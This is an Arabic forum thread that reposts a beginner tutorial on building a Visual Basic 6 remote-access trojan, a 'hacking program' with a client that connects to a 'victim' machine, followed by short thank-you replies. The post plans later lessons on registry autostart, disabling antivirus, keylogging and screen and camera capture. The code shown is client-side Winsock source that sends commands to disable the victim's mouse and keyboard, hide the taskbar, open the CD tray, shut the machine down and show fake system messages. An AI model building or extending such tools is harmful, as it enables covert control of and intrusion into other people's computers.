|
شرح صناعة برنامج اختراق عربي بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته الفكرة :- تصميم برنامج إختراق أجهزة من عميل و خادم بالفيجول بيزك الهدف :- إيجاد برنامج عربى قوى ينافس البرامج الأجنبية وافكاري دوما قابلة للتطوير يا شعبي سلسلة الدروس :- 1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام وهذا هو الدرس الذى سنتناوله اليوم 2- إضافة محادثة العميل والضحية 3- إضافة محادثة الماتركس 4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ 5- إضافة الكى لوجر جاسوس لوحة المفاتيح 6- تعليم صناعة محرر الخادم الإيدت سرفر 7- إضافة إدارة النوافذ 8- إضافة إدارة الملفات 9- إضافة تصوير الشاشة والكاميرا 10- إضافة الحماية بالباسورد -: الشرح :- افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE راح يفتح لك فورم فارغ كما بالصورة التالية الآن علينا تغيير خصائص الفورم حتى تناسبنا والان من مربع الخصائص Properties نقوم بالآتى : 1- تغيير الإسم من الخاصية Name إلى Main 2- تغيير الحدود من BorderStyle إلى Fixed Single 3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client وهذه الصورة للتوضيح الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية نفس العملية أيضا مع الأزرار من الخاصية Caption http://dc02.arabsh.com/i/01635/ue53z5c44hfl.jpg أما مربعات النصوص فنغيرها من الخاصية Text الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى زر الإتصال = cmdConnect زر قطع الإتصال = cmdDissconnect مربع إدخال الأى بى = txtIP مربع إدخال المنفذ = txtPort عنوان الحالة = lblStat إضافة فورم المرح والرسائل نقوم بإضافة فورم جديد كما بالصورة التالية راح يفتح لنا هذه النافذة نقوم بإختيار الخيار الأول Form راح يفتح لنا فورم جديد كالسابق نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد نقوم بإضافة خمسة عشر زر كالتالى نقوم يتغيير التسميات من Caption كالتالى الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام نقوم بإدارج فورم جديد بنفس الطريقة السابقة نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد نقوم بإدراج الكائنات كما بالتالى نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك -: إضافة الوينسوك :- وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوالMicrosoft API والان حتى تتمكن من اضافتها اتبع الآتى عد إلى الفورم الرئيسى Main اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components راح يفتح لك قائمة بالأدوات الخارجية المسجلة ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0 علم امامها بعلامة صح ثم اضغط OK اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse... سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX إن كنت من مستخدمىXP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية اضغط عل OK لتضاف فى آخر ToolBox قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnskClinet أكواد الفورم الرئيسى Main ( لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه ) 1- كود زر الإتصال كود: If txtIP.Text = "" Then' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If 2- كود زر قطع الإتصال كود: lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True' لتفعيل زر الإتصال wnskClinet.Close 'اغلاق الاتصال 3- كود زر المرح كود: Fun.Show ' لإظهار فورم المرح 4- كود زر رسائل النظام كود: Massege.Show 'لإظهار فورم الرسائل الحين نبدأ بأكواد الأداة وينسوك نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود كود: wnskClinet.Close lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات ونلصق هذا الكود فى الإجراء Close كود: wnskClinet.Close lblStat.Caption = "خطأ بالإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود كود: lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود كود: cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال الآن انتهينا من أكواد الفورم الرئيسيى Main ================== أكواد فورم المرح Fun 1- كود زر فتح سواقة الأقراص كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "opn" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 2- كود زر إغلاق سواقة الأقراص كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "cls" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 3- كود زر إخفاء شريط المهام كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "hid" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 4- كود زر إظهار شريط المهام كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر ElseMsgBox "انت غير متصل", vbCriticalEnd If 5- كود زر إخفاء سطح المكتب كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dth" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 6- كود زر إظهار سطح المكتب كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dts" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 7- كود زر إخفاء زر إبدأ كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbh" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 8- كود زر إظهار زر إبدأ كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbs" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 9- كود زر فتح صفحة بالمتصفح If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة") Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر Else MsgBox "انت غير متصل", vbCritical End If 10- كود زر ضبط صفحة البدء كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال************ = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")Main.wnskClinet.SendData "oph" & ************ 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 11- كود زر تعطيل الفأرة والمفاتيح كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "smk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 12- كود زر تشغيل الفأرة والمفاتيح كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "pmk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 13- كود زر إغلاق الجهاز كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sht" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 14- كود زر إعادة التشغيل كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "res" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If 15- كود زر تشغيل حافظة الشاشة كود: If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "scr" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If الآن انتهينا من أ كواد فورم المرح Fun ============ أكواد فورم الرسائل Massege 1- أكواد زر إرسال الرسالة كود: If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCriticalElse If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End IfEnd If 2- كود زر اختبار الرسالة كود: If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If ..~ منقول للفائده ~.. |
رد: شرح صناعة برنامج اختراق عربي والله تعلمت تعلمت الفيجوال بيسك من هدا الدرس وما كنت اعرف انها سهلة لهده درجة بارك الله فيك اخي |
رد: شرح صناعة برنامج اختراق عربي مشكور يا اخ جاري العمل |
رد: شرح صناعة برنامج اختراق عربي العفوا ، اتمنىا لكم التوفيق ..~ |
رد: شرح صناعة برنامج اختراق عربي بإأآرك الله فيك اخوي وأطال في عمرك وجعله في ميزان حسناتك |
رد: شرح صناعة برنامج اختراق عربي مشكور يا اخ جاري العمل |
رد: شرح صناعة برنامج اختراق عربي اتمنى لكم التوفيق |
رد: شرح صناعة برنامج اختراق عربي الله يوفقك وينور دربك وينفع فيك الاسلام والمسلمين |
رد: شرح صناعة برنامج اختراق عربي مشكوور |
رد: شرح صناعة برنامج اختراق عربي merciiiiiiiiiiiii |
رد: شرح صناعة برنامج اختراق عربي موضوع ممتاز |
رد: شرح صناعة برنامج اختراق عربي مشكور على الشرح يا اخي |
| الساعة الآن 10:05 AM |
[ vBspiders.Com Network ]